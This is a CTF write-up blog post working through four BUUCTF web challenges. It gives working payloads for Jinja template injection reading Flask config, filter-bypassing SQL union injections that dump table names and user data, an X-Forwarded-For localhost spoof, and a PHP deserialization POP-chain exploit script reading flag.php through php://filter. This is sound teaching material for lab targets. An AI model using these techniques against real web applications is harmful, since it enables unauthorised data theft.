BUUCTF web(九)

[WesternCTF2018]shrine

查看源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

app.config[‘FLAG’] = os.environ.pop(‘FLAG’)注册了一个名为FLAG的config

利用ssti模板注入查看flag,先测试一下{{3+3}}

可行,但是config被过滤了,否则{{config}}就可以看到所有app.config内容

我们可以用url_for()函数,这个url_for()函数是用于构建指定函数的URL,而且url_for操作对象是函数,而不是route里的路径,再配合globals 函数返回一个全局变量的字典。

/shrine/{{url_for.__globals__}}

在这里插入图片描述
current就是指当前的app,这样我们只需要查看到这个的config就可以看到flag了,那么构造payload

/shrine/{{url_for.__globals__['current_app'].config}}

拿来吧你

在这里插入图片描述

[SWPU2019]Web1

随便注册个登录,只有广告位一个功能,单引号试试呗
在这里插入图片描述注入是吧,来!注!

经过测试发现过滤了空格,or,–+,#,order,and等

先判断字段数,手动尝试n+1次后发现是22列

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述
发现回显位是二三位

查表

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述
新姿势:Maria数据库的这个表可以查表名:mysql.innodb_table_stats

设第二列别名为b

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述再看看第三列

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

在这里插入图片描述
总结:这道题考察的主要是无列名注入和二次注入,在不知道列名的情况下我们先让列名改名然后再单独给某一列起别名的方式来查看这列数据的内容

[MRCTF2020]PYWebsite

要我买flag
在这里插入图片描述
做梦

拉到最下面有个输入框
在这里插入图片描述
可以找到校验函数
在这里插入图片描述
md5解一解
在这里插入图片描述
。。。。

这钱不花不行了是吧

直接访问./flag.php呢
在这里插入图片描述
“ 除 了 购 买 者 和 我 自 己 ”
试试X-Forwarded-For: 127.0.0.1
拿来吧你
在这里插入图片描述

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

上来就审

反序列化的题,很明显,需要include文件flag.php并且用伪协议读取,第一个类里还有一个魔术方法__invoke(),以调用函数的方式调用一个对象时的回应方法

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

这里有一个include函数,题目中说flag在flag.php里,那就要想办法包含flag.php这个文件,想要包含的话就需要让var的值为flag.php再调用__invoke方法,这个是pop链最后的部分,而我们需要接着找到怎么函数调用invoke。

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

在Test类中的__get方法中刚好会把属性p当作函数调用,所以需要触发魔术方法get,而get方法会在访问类中一个不存在的属性时自动调用,所以需要寻找访问属性的代码。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

魔术方法__toString中会返回属性str中的属性source,如果属性source不存在那么就满足了刚才的条件。那么怎么调用toString呢?魔术方法toString会在类被当作一个字符串时调用,比如直接print或者echo一个类。而wakeup中的preg_match函数中传参了source,这个函数中source就会被当作字符串处理,但是source只是一个属性,而toString只有在类被当作字符串时调用(注意这里一个是属性一个是类),所以我们给source赋值一个类不就行了嘛。preg_match中过滤了一些函数,但是并不影响我们用php伪协议(直接访问flag.php并没有flag,说明flag应该是以php代码形式编写在后端的)。调用wakeup方法只需要反序列化。

所以整个利用链就是

反序列化show类->调用wakeup魔术方法,以字符串形式处理属性source->将source赋值一个new的类->调用toString方法,其中$this->str->source不存在->这个类中的str复制new的Test类,这样才能和Test类联系起来从而触发get方法->用p把Modifier类当作函数调用,触发invoke->包含flag.php并用php伪协议读取。

exp:

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}
class Test{
    public $p;	
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>

在这里插入图片描述
get传参pop提交

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值